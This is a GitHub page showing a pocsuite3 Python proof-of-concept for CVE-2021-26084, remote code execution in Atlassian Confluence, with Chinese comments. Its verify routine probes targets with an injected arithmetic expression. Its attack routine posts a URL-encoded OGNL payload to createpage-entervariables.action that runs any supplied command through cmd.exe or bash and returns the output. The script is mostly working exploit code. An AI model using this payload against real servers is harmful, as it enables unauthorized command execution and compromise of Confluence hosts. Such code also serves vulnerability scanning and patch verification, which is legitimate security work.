forked from luck-ying/Library-POC
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathCVE-2021-26084.py
104 lines (96 loc) · 5.28 KB
/
CVE-2021-26084.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from collections import OrderedDict
from urllib.parse import urljoin
import re,random
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, OptString, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY
class POC(POCBase):
vulID = '0' # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
version = '1' #默认为1
author = ['luckying'] # PoC作者的大名
vulDate = '2021-09-3' #漏洞公开的时间,不知道就写今天
createDate = '2021-09-3' # 编写 PoC 的日期
updateDate = '2021-09-3' # PoC 更新的时间,默认和编写时间一样
references = [''] # 漏洞地址来源,0day不用写
name = 'Atlassian Confluence 存在远程代码执行漏洞 (CVE-2021-26084)' # PoC 名称
appPowerLink = '' # 漏洞厂商主页地址
appName = 'Atlassian Confluence' # 漏洞应用名称
appVersion = '''ALL''' # 漏洞影响版本
vulType = VUL_TYPE.COMMAND_EXECUTION #漏洞类型,类型参考见 漏洞类型规范表
desc = '''
Atlassian Confluence 存在远程代码执行漏洞 (CVE-2021-26084)
'''
# 漏洞简要描述
samples = [''] # 测试样列,就是用 PoC 测试成功的网站
install_requires = [''] # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写
pocDesc = '''
检测:pocsuite -r .\poc++.py -u url(-f url.txt) --verify
利用:检测:pocsuite -r .\poc++.py -u url(-f url.txt) --attack --cmd 'whoami'
'''
category = POC_CATEGORY.EXPLOITS.REMOTE
def _options(self):
o = OrderedDict()
o["cmd"] = OptString(default='whoami',description='输入命令',require=False)
return o
def _verify(self):
result = {}
headers={
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded'
}
path = "/pages/createpage-entervariables.action?SpaceKey=x"
url = self.url + path
num1=random.randint(100,999)
num2=random.randint(100,999)
num=num1*num2
payload=f"queryString=aaaaaaaa%5Cu0027%2B%7B{num1}%2A{num2}%7D%2B%5Cu0027"
try:
proxies={'https':'127.0.0.1:8080','http':'127.0.0.1:8080'}
resq = requests.post(url=url,headers=headers,data=payload,timeout=5)
if resq and resq.status_code == 200 and str(num) in resq.text:
#print(resq_windows.text)
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = url
result['VerifyInfo']['POC'] = payload
except Exception as e:
return
return self.parse_output(result)
def _attack(self):
result = {}
headers={
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded'
}
path = "/pages/createpage-entervariables.action?SpaceKey=x"
cmd = self.get_option("cmd")
url = self.url + path
payload="queryString=aaaaaaaa%5Cu0027%2B%7BClass.forName%28%5Cu0027javax.script.ScriptEngineManager%5Cu0027%29.newInstance%28%29.getEngineByName%28%5Cu0027JavaScript%5Cu0027%29.%5Cu0065val%28%5Cu0027var+isWin+%3D+java.lang.System.getProperty%28%5Cu0022os.name%5Cu0022%29.toLowerCase%28%29.contains%28%5Cu0022win%5Cu0022%29%3B+var+cmd+%3D+new+java.lang.String%28%5Cu0022"+cmd+"%5Cu0022%29%3Bvar+p+%3D+new+java.lang.ProcessBuilder%28%29%3B+if%28isWin%29%7Bp.command%28%5Cu0022cmd.exe%5Cu0022%2C+%5Cu0022%2Fc%5Cu0022%2C+cmd%29%3B+%7D+else%7Bp.command%28%5Cu0022bash%5Cu0022%2C+%5Cu0022-c%5Cu0022%2C+cmd%29%3B+%7Dp.redirectErrorStream%28true%29%3B+var+process%3D+p.start%28%29%3B+var+inputStreamReader+%3D+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3B+var+bufferedReader+%3D+new+java.io.BufferedReader%28inputStreamReader%29%3B+var+line+%3D+%5Cu0022%5Cu0022%3B+var+output+%3D+%5Cu0022%5Cu0022%3B+while%28%28line+%3D+bufferedReader.readLine%28%29%29+%21%3D+null%29%7Boutput+%3D+output+%2B+line+%2B+java.lang.Character.toString%2810%29%3B+%7D%5Cu0027%29%7D%2B%5Cu0027bbbbbbbb"
try:
proxies={'https':'127.0.0.1:8080','http':'127.0.0.1:8080'}
resq = requests.post(url=url,headers=headers,data=payload,timeout=5)
pattern = re.compile(r'(?<=aaaaaaaa\[)[\S\s]+?(?=\]bbbbbbb)')
t = pattern.findall(resq.text)[0]
t = t.replace('\r', '')
print('output >>> \n' + t)
t = t.replace(" ", "")
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = url
result['VerifyInfo']['Name'] = t
except Exception as e:
return
def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
def _shell(self):
return
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
register_poc(POC)